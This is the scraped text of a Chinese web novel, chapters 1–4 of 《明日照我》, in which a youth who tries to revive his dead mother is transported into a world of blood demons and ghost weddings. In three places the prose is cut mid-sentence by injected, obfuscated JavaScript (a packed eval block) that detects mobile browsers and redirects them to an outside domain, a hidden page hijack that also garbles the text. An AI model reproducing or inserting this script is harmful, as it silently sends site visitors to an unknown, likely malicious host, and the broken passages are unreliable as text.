《明日照我》 1. 第 1 章 最后一抹夕光穿过摇摇欲坠的破碎树枝,落在少年的鼻尖上。 似乎被惊扰了,他闷哼一声,缓缓睁开眼,环顾四周。 这里……是哪里……? 陆昭支起胳膊坐了起来,后背的疼痛让他不得不休息了一会儿,等缓过来才开始思考自己为什么出现在这里。 他记得自己在京大图书馆的角落里找到了一本古籍,上面说有一个秘法可以复活死去的亲人。 想到这里,陆昭脸色一变,在地上到处寻找。 摸到一个玻璃瓶的时候,他的神情肉眼可见地放松下来。 陆昭仔细检查玻璃瓶,见瓶身没有破裂,里面的骨灰也没有洒出来,才小心翼翼地用脖子上的红绳穿住,贴着心口存放。 他按照书上所说,午夜时分,在阳台画了一个法阵。 那天是月食。月亮被遮蔽的瞬间,法阵泛出强光,他被一股不知名的力量拽了进去。 醒来就到这里了。 休息够了,陆昭开始寻找出路。 才走出几步,天边最后一抹夕阳红消失,整片森林骤然暗了下来。 陆昭从兜里摸出手机,没有信号,但手电灯还能用。 他刚打开手电灯,就被突如其来的黑色笼罩,被推得往后退了两步。 是一群乌鸦。 他的手机被其中一只乌鸦叼走,亮光在鸦色里倒腾几下,随着乌鸦远去了。 周围彻底暗了下来。 陆昭心里有点发毛,不是怕黑,是担心夜晚游荡的野兽。 一朵灯火忽然飘摇而来。 陆昭先是喜悦,继而狐疑。心里的不安让他躲到一旁去。 灯火近了,忽然停下来。下一刻,陆昭感觉身体一颤,被看不见的手抓了过去。 一张红麻布,仿佛是血浸染的,覆盖在男人的脸上。 贴近时陆昭闻到一股腥臭味,从麻布底下传来的。 “漏网之鱼吗?” 男人自言自语,把陆昭往身后一丢。 陆昭这才发现男人身后跟着七八个人。 穿着跟古代人一样。 他心里咯噔一下,他穿越了?这么老土? 本来他还抱着只是被转移到城郊森林之类的想法。 现下心已凉了半截。 陆昭的身体轻飘飘的,“自动”贴到队伍最后。 仿佛有丝线扯着他的四肢,让他主动跟随。 他不信邪,偏要挣扎。 刺啦一声,他的外套被扯破了,手臂上骤现一道伤口。月光下隐约浮现出一条细细的鱼线。 血顺着皮肤往下滑,滴到草叶上。 队伍停下,男人贴了过来。 陆昭以为他要动手。 男人却是用手指抹了抹他的手臂,伸进麻布下,似乎是放进了嘴里。发出一声喟叹:“好喝,天魔一定喜欢。” 陆昭汗毛倒立。 天魔?这是武侠世界还是玄幻世界? 显然不是他一个普通人可以对抗的力量。 男人以为陆昭会放弃挣扎。 但他挣扎得更凶了,不要命似的。 男人可不想他变成破布娃娃,直接将他敲晕了。 “麻烦。”他又回到队伍前面,提着灯,继续赶路。 陆昭垂着头,身体无知无觉地跟着。 他前面的男人微微侧脸,淡淡的视线落在他身上。 · 陆昭在一个监牢里醒来。 被蒙面男人抓来的人或躺在地上,或靠着墙,气息奄奄。 “嘿,你醒啦?” 陆昭吓了一跳。 他身旁坐着一个年龄相仿的少年,见他醒了,用手指戳他胳膊。 少年言笑晏晏,嘴角一点媒人痣,一双眼睛亮亮的。 不等陆昭回答,叽里呱啦地说了一堆话。 “你穿的衣服好奇怪,你是从哪里来的?我叫闻晧,闻是听闻的闻,晧可不是皓月的皓。常有人将我的名字写错,我跟我阿爹说给我换一个字,他不肯还拿剑打我,说我要是敢把名字改了就别姓闻。我说那我就跟我娘的姓,我娘的姓又不差……” 陆昭听得头晕。 闻晧还拿起他的手,在他掌心写自己的名字,“喏,就是这个晧字,你可别记错了。我是清水镇来的,我来抓为祸四方的大魔头,只要带着他的尸体去醍醐天,就可以破格成为弟子。你是哪儿来的?” 竟然绕回去了。 陆昭摇头:“我不知道。” 他很谨慎。 闻晧像是看出他警戒心很重,笑了笑,“我看你长得就像个好人,你跟着我,待会儿我把大魔头弄死了就送你回家。” 陆昭:“……” 旁边传来笑声。 一个脸色煞白的男人嘲讽道:“就凭你也想杀血魔?你可知这里死过多少人?” 他指着陆昭背后。 陆昭抬起头,一下子震住了。 墙上密密麻麻都是划痕,伴随男人的话,仿佛会渗出不甘与怨毒。 “一道就是一条人命。” “就是因为没人杀得了他,才要我来啊。”闻晧不以为然。 他拍了拍陆昭肩头,“老兄,别害怕。你叫什么?你不会连自己的名字也不知道吧?” 看着他比牙膏广告模特还要白的牙,陆昭开口:“陆昭。” “写嘛。”闻晧伸手。 陆昭在他掌心写自己的名字。 闻晧拍了一下他的掌心,鬼鬼祟祟地压低声音,“老陆,我跟你说一下我的计划。待会儿血魔的心腹会来抓咱们,我血甜我先去,你留在这里随机应变。知道吗?” “这也算计划?”抻长脖子偷听的男人翻了个白眼,又趴回地上去了,“别挣扎了,一进来就是被吸干的下场。你现在就可以在墙上留下一划。” 闻晧笑眯眯道:“那我要是杀了血魔,你当如何?” 男人嗤了声:“还能如何?” 闻晧摸着下巴,“跪下喊声爹。” 陆昭起来在监牢转了一圈。 外面漆黑一片,幽深处飘来浓重的血腥味,让人作呕。 他抓着栏杆,有点难受。 蓦地,一只手伸了过来。修长瘦削的手指夹着一块手帕,递到他唇边。 陆昭愣了下,看了过去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16262435|182119||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 男人穿着黑衣,比他高一个头,苍白的皮肤配上一张平平无奇的脸,没什么特别的。 但他的眼睛很漂亮。一双淡赭色的瞳孔,看久了,仿佛有一点血在中心晕开。 陆昭道了声谢,接过手帕。 手帕上有一股淡淡的幽兰香。 “你的手臂。” 陆昭低头看自己的左臂,鱼线划出的伤口还在,血止住了。 “我没事,谢谢关心。” 男人只是盯着伤口看,一言不发。 闻晧忽然跟个大喇叭似的扯着嗓子吼:“快来人啊,不是要吸小爷的血吗,赶紧的,这一天天的不知道在干什么办事这么拖沓——” 随着他大喊,幽夜般的黑暗里飘过来个人。 没错,他是飘过来的。 麻布覆面,脚不沾地,白衣缟素,手提灯笼。 陆昭在树林里遇到的就是他。 “没见过上赶着送死的。”丧魂嫌弃地扫过闻晧,利落地开了门,目光落在陆昭身上。 陆昭立刻后退,却还是被丧魂摄了过去。 他说话间,腥臭味一阵阵地扑到陆昭脸上,“你的血很好喝,天魔很喜欢,先吃你。” “喂!别吃他啊,先吃我,他看上去就不干净,肯定脏!”闻晧急得冲上去抱住了陆昭的腰。 不管丧魂怎么甩,他都不放手。丧魂动手要杀他,闻晧就用陆昭当挡箭牌,像条抓不住的泥鳅。 丧魂不敢伤陆昭,天魔要他的每一滴血。 想了想,上赶着送死岂有阻拦的道理,干脆不管了,“多吃一个,有助天魔修行。” 忽然他浑身如过电一般,扭头看向给陆昭手帕的黑衣男人,“你身上是什么味道?” 男人抬起手,露出惨白的手腕,“你说这?” 他的手腕上参差着刀痕。 最新鲜的仿佛是昨天刚划的,崩开了,渗出血珠。 “太香了,太香了……”丧魂眼睛都直了。 这一批竟有两个极品血奴。 撞大运了。 丧魂当即决定将他们都带出去,“你也跟我走。” 男人不反抗,跟在两人身后。 其他人看着他们离开,都在庆幸自己暂时活下来了。 只有丧魂的灯笼可以驱散黑暗。 他走过的地方,自动显现出一条路来。 计划顺利实施,闻晧惬意地哼着小曲儿。 见陆昭扭着头,用胳膊肘撞了撞他,“看什么呢?” 陆昭在看男人左手的刀痕。 对方是右手给他递的手帕。 “包扎一下吧。”他把手帕递了过去。 男人抬起手看了眼伤口。他并不在意,语调淡淡的,“不必。” “必”字还没落地,雪白的手帕落在了他的手腕上。 陆昭还给打了个蝴蝶结,“还给你。” 男人摩挲着指腹,目光落在他栗色短发的发梢上。 陀罗千方百计从天尊那里偷来了沧海镜,妄图逆转阴阳,没想到缺召唤出一名异世来客。 而且,他的血…… 十分香甜。 2. 第 2 章 走了约五分钟,周遭赫然开朗。 他们在一个洞窟里,正中央是白骨铸就的宝座。血池环绕,池中白骨翻涌,腥臭难闻。 一个形容枯槁的老人坐在宝座上。 他的皮皱巴巴地贴着骨头,身体瘦小如孩童。 丧魂迫不及待地邀功,往宝座下一跪:“启禀天魔,这次抓了两个极品血奴回来,这个更为香甜。” 说着,右手鹰抓,把黑衣男人擒到身旁。 闻晧不乐意了,嚷嚷道:“别厚此薄彼啊,有本事先吃我,吃了我你肯定就饱了!” 陀罗嫌他聒噪,但他偷盗沧海镜时被天尊打伤,元气大伤,亟需进补,说话有气无力,“这也是极品血奴?” 丧魂:“不,他胡搅蛮缠。但天魔伤……蜕变在即,正是进食之际。饶他话再多,死了也就不吵了。” “你说得对。”陀罗举起枯枝般的手指,指着陆昭,“这个打扮奇特,是哪里来的?” 丧魂也不知道陆昭哪儿来的,含糊带过:“卑职为天魔寻找血奴,官道上抓来的。或许是异国商人。” 陀罗着急吸血,干脆地点了陆昭:“先吃他。” 丧魂颔首,抓住陆昭脖子便要放血。 “先吃我,吃我!”闻晧急得像热锅上的蚂蚁,一把撞向丧魂。 丧魂头一回见这么积极寻死的,恼火道:“这小子聒噪,天魔先吃了他,得个清净!” 说着松开陆昭,将闻晧攥到手中。 闻晧不畏惧反而松了口气。 黑衣站在一旁,默默看着。 丧魂动手之际却觉腰上一紧,低头发觉是陆昭抱住了自己。 他恼火,“放开!” 闻晧大为感动,但他就是来给魔头“送饭”的,“老陆,赶紧放开他,让我先被吃!” 陆昭无语:“再有病也不能放弃治疗,活下去就有希望。” “够了!” 陀罗一声怒喝。 陆昭被一股力道掀飞出去,摔倒在血池旁。 池中腥臭钻入鼻腔,恶心感比疼痛更快袭来。他弓着背一阵干呕。 陀罗飞下宝座,屏开丧魂,右手吸起闻晧,左手划破他两只手腕。 血如细流,涓涓涌入他口中。 陀罗闭着眼享受,夸奖道:“吵归吵,血的味道不错!” 闻晧感觉到身体里的血液一点点流失,神情渐渐从自信变得慌张。 忽然陀罗脸色大变,将他丢开,捂着胸口踉跄两步,跌坐回宝座。 丧魂着急地飞到陀罗身旁,“天魔,您怎么了?” “或许是伤势太重……”陀罗呢喃。 方才血奴的血液顺着他经脉流动,本应进入丹田。 不曾想他的丹田受损,脉门幽闭。隐隐中一股魔气将他的奇经八脉全部封住,阻碍他疗伤。 这么一来不管他喝多少血都没用。 可明明昨天还不是这样。 这些时日丧魂为他找了许多血奴,但他们的血与天尊造成的伤比起来,着实微不足道…… 陀罗长叹一口气。 不愧是魔道之主——天尊纳兰啊! 闻晧在地上呻..吟。 “臭老头儿,差点被你阴死了……”他半条命都要没了,还在絮叨。 陆昭扑到他身边,看闻晧还有气,“我不会救人。” 闻晧瞪大眼睛,“那你还不跑?” “跑不掉。”陆昭不知道出路在哪里。 “那你先跑嘛。”闻晧瘫软在地上起不来,“算了,我袖子里有药,你赶紧给我吃,对了,拿蓝色的不要红色的。” 陆昭摸到一个蓝色瓷瓶,将里面的药丸塞进闻晧嘴里。 闻晧感觉冰冷的四肢慢慢暖了起来。 丧魂将陀罗扶回宝座上。 他把闻晧和陆昭又抓了起来,还有一直杵着的黑衣,将三人又丢回了牢里。 其余人见他们三人竟活着回来了,惊讶不已。 对闻晧说风凉话的男人讷讷:“你们真的把血魔杀了?不可能,如果他已经死了,我们就可以出去了。” “他喝了我的血,很快就会死了。”闻晧靠着墙,又磕了一粒丹药,觉得手脚能动了,嘴也跟着动起来,“老陆啊~刚要不是你我就死了哇~” 陆昭:“你的血有问题?” 闻晧点头:“我吃了一种毒药,专门克制血魔的。只要他喝了我的血,就无法再喝别人的血了。我觉得方才就是我的血起作用了,不过,老头说要两个时辰,有点快呢……” “可是你吃了毒药,不也会死?” 闻晧露出闪亮的牙齿,“会啊,所以我有另一种延迟体内毒发的丹药。只要血魔死得比我快,我就可以拖着他的尸体去醍醐天,到时候自然会有师兄替我医治。” “万一他把你浑身的血吸干了呢?” 陆昭以为闻晧已经想过这个可能了。 却见他表情空白了一下,“哎呀,我没想过这件事。我觉得他一口气吃不死我,这不,我还带了可以补血的丹药。” 陆昭:“……” “老陆。”闻晧笑眯眯地看着他,神情慢慢严肃起来,“再有下次,你要先逃。” 从认识到现在,陆昭只看见他嬉皮笑脸,陡然这般,倒有些不习惯了。 “我们已经是朋友了。”陆昭在他身旁坐下,“丢下朋友跑掉不是我陆昭的风格。” 说着这话,他下意识握住了胸前的玻璃瓶。 闻晧泪汪汪,“朋友,好啊,从此之后你我就是过命的交情了,老陆,你叫我老闻吧!” 这也太难听了。陆昭拒绝,“不要。” “等等,我们还没能出去,说明血魔没死,你们高兴得太早了。”男人又在说风凉话,这次还看向黑衣,“他跟你们一起去,什么事也没?” 陆昭看向黑衣。 他靠着狱槛,垂着眼帘。 顺其视线,发现是在看手腕上的手帕。 陆昭:“大家都是普通人,他做不了什么。” 男人冷笑:“是么,我觉得他像个奸细。也许,他是血魔丢在我们之中监视我们的。” 黑衣没有反应,看也不看他。 男人有些恼火,一众人中只他不说话,高高在上不知演给谁看,“你不解释,那就是真的了。” 说着向其他人起哄:“他们俩说血魔死了,可我们怎么知道是真是假呢?万一血魔没死,待会儿那走狗又来抓血奴,我们岂不是替他们送了命?我看,我们得想办法,让他们三个再去探路。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16262436|182119||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 余下的人面面相觑。 男人指着闻晧,“他受伤了,就他留下,你们俩出去。” 说着将牢门扯开。 原来这牢门从未锁上。因为丧魂不担心他们逃了,逃便是死,必死无疑。 黑衣没说话。 他揪了揪手上的小蝴蝶结。 陆昭看了他一眼,对男人点点头,“好,牢门太小,你往出站站。” 男人让开路。 他脸上带着自满的笑,提前庆祝胜利。 陆昭跟闻晧交换眼神,起身走到黑衣身边。 黑衣竟抬眼看向他。 陆昭一愣,以为他有话说。 但他只是摸着蝴蝶结的一对兔耳朵,不发一言。 陆昭往牢门走去。 他靠近男人,忽然用力一脚踹在了对方的肚子上。 男人被踹倒,捂着肚子叫喊:“王八蛋!” 陆昭把牢门阖上,反手锁住,将钥匙丢给闻晧。 闻晧举手抓住,“好样的老陆!” 男人发现自己被关在监牢外,惊慌失措,爬起来握住狱槛,“让我进去!” “头一次看到有人非要坐牢的。”闻晧模仿他方才撺掇众人的神情,阴阳怪气,“我觉得他像个奸细,想混进我们之中。” 不管男人踢踹狱槛和呼喊,陆昭回到闻晧身边坐下,“血魔的毒多久发作?” 闻晧抬头看着天顶,“不知道。” “那就等等吧。”陆昭说着,闭上眼开始小憩。 换算时间,他有一夜没睡了。困意袭来,很快便坠入梦乡。 梦里,陆昭又回到了孤儿院。 那是一个雾蒙蒙的早上,他站在孤儿院门口。 碎花格子在他面前荡呀荡。 他不记得雾气说了什么,直到碎花格子要飘走了,才狠狠攥住。 他惊醒了。 陆昭下意识去找玻璃瓶,发现它还在,才松了一口气。 男人已经不在监牢外了,闻晧说他骂了一阵子,或许是觉得血魔死了,试着走入黑暗,再也没回来过。 闻晧手腕的伤已愈合,苍白的脸色红润些许。 他吃下红色药瓶里的丹药。想来这就是延缓毒药发作的药。 除他们外,没人觉得能活,都病恹恹地缩在角落。 时间一分一秒过去,自信如闻晧,心里也开始没底。 陆昭忽然站起来。 他拿过钥匙,打开了牢门,“我出去看看。” 闻晧立刻弹了起来,“老陆,你干嘛去,万一血魔没死呢?” 陆昭困惑道:“你不是说他会死?” 闻晧心虚,“那、万一他没死……” “我相信你。”陆昭把钥匙丢给牢房里剩下的人,“你们可以自己选择走还是不走。” 他见黑衣也跟了出来,微微一怔,“兄弟,还不知道你叫什么。” 黑衣撩了下眼帘,“余锏。” “余戬?杨戬的戬?” 这世界没有二郎神,“杨戬是谁?” 陆昭伸出手,“你写吧。” 余锏嘴唇轻轻地扯了一下,看着陆昭满是老茧的手。 他没必要在乎一个一定会死的异世来客是不是弄错了他的名字。 3. 第 3 章 余锏的胳膊抬到半空,被闻晧突如其来的闯入打断,“走,我也一起去。血魔要是没死,我再让他吸几口,保证他一定死。不能让我兄弟一个人冒险。” 余锏甩了下衣摆,两手袖到身后。 闻晧拿着监牢墙上的火把,走在最前面。 从监牢出去只有一条通往血池的路,若是陀罗和丧魂还在这里,逃出来的人必死无疑。 血池空无一人。 闻晧忽感踢到什么,低头一看,是说风凉话的男人。 他半个身体泡在血池里,脖子上的伤口血流汩汩。 闻晧和陆昭对视一眼。 他们在宝座周围转了一圈,没有看见任何人。 闻晧不喜反悲,“完了,要是他跑了还好,要是他死了但尸体不在这里,我该怎么跟醍醐天证明是我杀了他?” “血魔没死。” 余锏破天荒地开口了。 闻晧并不喜欢余锏,倒不是跟风凉话男人一样有偏见,而是气场不对付。这只能让他决定不与余锏深交。 陆昭:“你怎么知道他没死?” 余锏不说话。 陆昭想起了班里的学神。有人问他怎么解题,他三下五除二就解出答案了。问问题的人没听懂,他也解释不明白。久而久之就不爱说话。 “咳……” 闻晧发现风凉话男竟然没死。 他赶紧把人拖了出来,“血魔死了没?” “他……活着……”男人双瞳渐渐涣散,“你们……骗……我……” “谁骗你了?你不作妖就不会赶出来,更何况都没人叫你乱跑。”闻晧见他不说话,推了推,“真死了?” 他用力地拍了下大腿,牙酸,转头看陆昭,“老陆,我这辈子的梦想就是进醍醐天,我必须抓到血魔。你年纪轻轻细皮嫩肉的,回家吧,回家吧孩子。” 陆昭:“……” 他倒是想回,却鬼使神差地问了一句:“这个世界……有可以让死人复活的办法吗?” “有。” 这话是余锏说的。 陆昭瞳孔微微一缩,迟疑片刻,“只有骨灰也可以?” “可以。”余锏话里染上一丝兴致。 “老陆,你想复活谁?”闻晧嫌弃地看余锏,“你别信他鬼话,人死如灯灭,我从没听说过什么复活之法。” “我妈。”陆昭的声音低了下去,他摇摇头,“还是先找血魔吧。” 闻晧一愣,“老陆,你要跟我一起去?很危险的,没必要。” “你刚还说我们是过命的交情。”陆昭只好说实话,“我不是这个世界的人,我看了一本书,上面说有一个可以复活亲人的法阵,没想到我用了之后就到这里来了。” 闻晧缓缓睁大了眼睛。 “我说嘛哪有复活之法。”闻晧拎起他的外套,“怪不得你穿得奇怪,我还在想‘不理解但尊重’呢。那你知道怎么回去吗?” 陆昭摇摇头。 “血魔有一面沧海镜,通阴阳,达过去,见未来。只要找到他,你就可以回家。” 第一次听余锏说这么多的话,陆昭没反应过来。 闻晧跳起来,“沧海镜!血魔竟然有沧海镜?” 陆昭:“沧海镜怎么了?” 闻晧急得唾沫横飞:“沧海镜可是醍醐天的圣物!据说三十年前被万古愁的天尊纳兰抢走了,醍醐天从没承认过。他说血魔有沧海镜,哪里来的?” “偷的。” 余锏的话淡淡的。和他的人一样。 闻晧:“你怎么知道?” 余锏指了指自己的耳朵。 闻晧摸着自己的耳朵,纳闷道:“我怎么就没听过?” 陆昭想到血魔身边的丧魂,“是从那个脸上盖着红麻布的人那儿听到的?” 余锏眼帘微微低垂,唇角微不可闻地上扬了一瞬。 旋即缓慢地点头,“他叫丧魂。” 陆昭觉得余锏没有撒谎。 “闻晧,反正我需要沧海镜,你需要血魔,大家目标一致,一起走吧。”陆昭说。 “行,我一定帮你拿到沧海镜,好兄弟。”闻晧气派地拱了下手,旋即朝余锏方向抬了抬下巴,“那这位兄台你要回去了?” “我也要找血魔。” 余锏翻动手腕,抚着手腕,“他从我的家里偷了一样东西,我要拿回来。” 闻晧义愤填膺,“好啊,这血魔不但杀人如麻,还是个惯偷。” 反正三个人都要找血魔,干脆一起走,闻晧让两人等等他,自己跑回去告诉监牢里剩下的人可以走了。 陆昭在原地等,眼前忽然伸过来一只手。 兔耳朵般的手帕轻动。 他抬起头,看见余锏盯着他的手,“我的名字。” 陆昭怔了怔,把手伸出去。 余锏的手指也很粗糙,在他掌心写字。隔着彼此的老茧,竟感觉到了温度。 “余……锏……”陆昭念出来。 这个字平时很少见。 陆昭只记得有一部电影里提到了一把兵器,“亢龙锏”。 “好了,我回来了。”闻晧风风火火地跑回来,指着宝座后面的出口,“赶紧的,从这破地方出去!” 再次见到阳光,陆昭有些不习惯地抬起手遮挡眼睛。 适应了一会儿再睁开,发现他们在深山老林里。 闻晧跑到高处,叉着腰看了一会儿,叼着不知从哪里搞来的嫩枝,过来道:“我知道最近的镇子在哪里了,跟我走。” “等等。”余锏忽然开口,“陆昭,换一身衣裳。” 陆昭这才想起他们要去镇子上,他穿着现代的衣服,一定很扎眼。 闻晧觉得有道理,跑回监牢里给他拿了一身衣服回来,“老陆,这身衣服挺干净的,你换上吧。” 陆昭换上这大小不一的衣裳,幸好古装放量大,倒是不挤。 他自己的衣服则随身带着。 三人从天光走到快正午,终于来到城镇的城门前。 闻晧摸了摸空空如也的腰间。 “你们有路引吗?” 陆昭有些茫然,“路引是什么?” “就是进城的凭证。”闻晧见余锏默不作声,“大家都没有,这下好了,想想怎么进城。要不,翻过去?” 余锏看着洞开的城门,径直走了进去。 踏入城中的刹那,衣摆无风自动。 他皱了下眉,回身差点撞上陆昭。 陆昭没想到他会停下,险些撞到他胸上。 闻晧也一脚走了进来,环顾四周,“奇怪,这城里怎么一个人也没有?” 陆昭赶紧往后退两步,却觉得后背撞到了墙上。 他回头,明明看得见外面,却出不去了。 “老闻,我们出不去了。”陆昭还很冷静。 “这不是叫出来了嘛,有什么难的。”闻晧后知后觉,“什么叫‘我们出不去’了?” 闻晧跑向城门,被无形的墙撞了一下。 他捂着额头,“还真出不去了,难不成血魔躲在这里?” “你们是什么人?怎么在这时候来了?” 一个老妪急匆匆走来,慌张地看了一眼头顶的太阳,扯过三人,“他们要来了,快找个地方躲起来!” 城墙两侧摆着几辆板车,老妪将他们拉到车后,招呼三人蹲下,压低声音,“屏住呼吸,不要出声。” 闻晧赶紧鼓起腮帮子,捏住鼻子。 陆昭捂住口鼻,看向余锏。 他看着没什么反应,陆昭以为他没听见,伸过手去捂住他的口鼻。 余锏下意识抓住了他的手腕。 用绑着手帕的那只手。 陆昭觉得手腕仿佛被针扎了一下,稍纵即逝,让他怀疑是错觉。 余锏收回了手。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16262437|182119||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>一阵敲锣打鼓声将陆昭的注意力吸引过去。 正午时分,烈日高悬,城内竟涌出浓浓雾气。 雾浓。声响。 红裹着灰,相撞如流。 白日绛纱灯,玄色仪仗扇。 竟是迎亲队伍。 平白出现的迎亲队伍往城中走去,吹吹打打,衬得城中冷清。 新郎官坐在马上,并不恣意,只是垂着头,随马儿行进,后颈一上一下,帽翅摇晃。 闻晧涨红了脸,忍不住吐出一口气,赶紧再憋上。 迎亲队伍忽然停了。 新郎官的头拧了过来,与其他人的脑袋一起看向板车的方向。 陆昭看清了他的脸。 那是一张布满尸斑,青白交错的脸。 至于托举依仗的人,根本没有五官,只有一张脸皮。 就算陆昭是个林正英电影爱好者,此刻也被这一幕吓得惊出一背冷汗。 “吉时将至——” 雾里传来喊声,似乎在催促迎亲队伍赶紧走。 新郎官这才收回头,继续任由脖子在马上一颠一颠。 直到迎亲队伍没进雾里,闻晧才敢大口呼吸。 “憋死我了!”他手抵着城墙,恨不得把肺掏出来抽空气。 “为什么迎亲队伍没有花轿?” 陆昭注意到迎亲队伍很长,却没有花轿,只有新郎官和一箱又一箱的陪嫁。 “老陆,这可是鬼娶亲,有没有花轿不是重点吧。”闻晧忍不住。 陆昭将早就吓得腿软的老妪扶起来。 老妪拍拍他的手,“谢谢后生,老了,不中用,差点给你们拖了后腿。” “奶奶,拖后腿的其实是我。”闻晧摸了摸鼻子,“这城里到底发生了什么事?” “先去我家躲躲,新郎官接不到新娘子,还会走的。” 老妪带着他们穿过小巷,进了院子,阖上院门。 进来没多久,三人又听见了敲锣打鼓的声音。 不过这次奏的是哀乐,看来新郎官没能接到他的新娘子,失落地打道回府了。 可是回哪里去呢? “奶奶,您跑到哪里去了!” 一个青年跑出来,搀过老妪,见三人是生面孔,警惕起来,“你们是谁?” “不必紧张。”老妪安抚道,“他们是人。” 闻晧摸着下巴,“我还可能不是人吗?” “这是我孙儿小福儿,三位随我进屋说吧。”老妪往屋内走去。 “奶奶,我已经不小了。”青年脸羞红,连忙解释道,“我叫王福,叫我阿福就行了。” 茶桌上,老妪先是长叹,才说起缘由:“之所以你们进城时没看见城官,是因为他们都跑了。一切还得从三个月前说起……” 那是一个吉日。 宜出行,宜嫁娶。 富绅之家娶亲,排场之大,十里红妆铺满长街。 百姓争相探头,一睹富贵风采。 谁曾想新嫁娘被人杀了,杀她的是亲弟弟。 奇怪的是,城中并无人知赵家女郎有一个弟弟。 官府升堂,流言蜚语。有人说出实情,赵家这个男丁一出生就异于常人,行为举止像女儿家,不但有男器,还有胸脯。丰满巨大,形同女子。 赵家从来不让他出门,谎称姨娘生的是个死婴。 这弟弟一直扮作婢女,跟在赵家女郎身旁。 听说两个人感情还不错,初见他的人总觉得他是个低眉顺眼的温驯女子。 谁知道他会杀了自己的亲姐姐呢? 那之后,新郎官离奇暴毙,第二天正午时刻,城门洞开,一支鬼气森森的迎亲队伍走入城中。 所有冲撞队伍的人都当场毙命。 有人侥幸活了下来,看见队伍进到赵府里,不多时又出来了,奏着哀乐,一路出了城。 那天,赵家满门皆毙。 4. 第 4 章 王福给三人递上茶水,接过老妪的话,“没有人敢进去收尸,哪怕是衙门的仵作。赵家有个大花园,四季都栽了花,非常漂亮,人人都羡慕,听说那一天,花全被染红了。” 陆昭:“一直没人管吗?” “出事的时候天不热,等过上一两天,衙门才派人去理。但他们说,进去之后找不见尸体了,整个赵家干干净净,就跟没出过事似的。” 老妪叹气,“但是,就是从那天起,城里开始死人。” 每日午时,鬼来迎亲。 城中人不可出,冲撞则死。 城官请道士来驱鬼,对方进了赵家后,第二天便被剥了皮,像一块新鲜的猪肉,悬在赵家门匾下头。 闻晧不禁问道:“你们为什么不去求助醍醐天?” 王福和老妪都露出了茫然的神情:“醍醐天?” 他们根本不知道醍醐天。 闻晧这才知道血魔究竟躲到了多偏远的地方,老话说“天高皇帝远”,神州之大,总有地方不知道正道圣地醍醐天,也不知道魔道老窟万古愁。 “……我们都是普通人,就算知道你说的醍醐天,也去不了。大家都觉得赵家的事解决不了,纷纷搬走了。城里的人一天比一天少,到现在也就剩几十人吧。” 陆昭:“你们为什么不走?” “我父母双亡,是奶奶将我养大。奶奶自小在这里长大,她不肯走,我也不会走。”王福攥住老妪的手。 老妪抚着他的手背,眼角有泪光,“傻孩子。” 从进门到现在没说过一句话的余锏开口了: “除了鬼迎亲,就没别的怪事?” 王福抿抿唇,“有,白天鬼迎亲,晚上鬼敲门。” 闻晧听得直摇头,“怪不得都跑了,这谁受得了。敲门的也是鬼新郎?” “不,听说是一个走路不沾地的鬼。他脸上盖着一块仿佛浸了血的红麻布,一到子时,就会用各种声音敲门。有孩子的,老人的,男的女的。只要应声给他开门了,就会从世间消失。” 三人同时明白这是丧魂。 显然是他在抓血奴。 “不过,有人见过他从赵家出来。不知道是不是哪个赵家人化作的鬼。” 闻晧来精神了,“他去了赵家?” 陆昭想了想,“昨晚他来敲门了吗?” 王福给出否定的回答。 如此攀聊几句,老妪和王福得知三人误入此城,劝他们赶紧离开。 闻晧有些饿了,知道另一座城镇离这里还要一天的脚程,便询问老妪哪里能找到吃的。 老妪让王福给他们下了三碗面。许多人走得匆忙,留下很多东西,二人便靠这些度日。 吃饱喝足,三人谢过老妪,走出巷子,不约而同往城门相反的方向去。 闻晧攥拳发誓,“等我加入醍醐天,一定要游历世间,让所有妖魔鬼怪无所遁形,再也不能害人!” 陆昭猜测:“死去的赵家人一夜之间消失,会不会是丧魂干的?” 闻晧想到了血池,“赵家人不会都在那池子里吧?” 两人觉得就是这样。 陆昭看向余锏,“余锏,你怎么看?” “血魔在这里。” 还是一如既往的言简意赅。 闻晧琢磨,“老陆,我现在还不明白血魔为什么要跑,我们又威胁不到他,他就算中了我的毒,也不应该跑啊。难不成,这里有可以解毒的?” 陆昭思索片刻,“其实我觉得一开始看到他的时候,他就很像受了伤的样子。” 一个大魔头,怎么会像个瘦削干巴的小老头? 闻晧:“万一那是他的风格呢?” 陆昭觉得这话也有道理,“也对,说不定他就喜欢那样。” 余锏:“他受伤了。” 陆昭看向他,“他为什么会受伤?” 余锏不说话了。 陆昭想到了血魔偷东西,“他偷东西的时候受了伤?” 余锏还是没说话,但陆昭觉得他的神情就是肯定。 闻晧的脑袋从两人之间探出来,“瞧,到了。” 陆昭顺着他手指的方向看去。 一座气派的宅子安静地坐着。 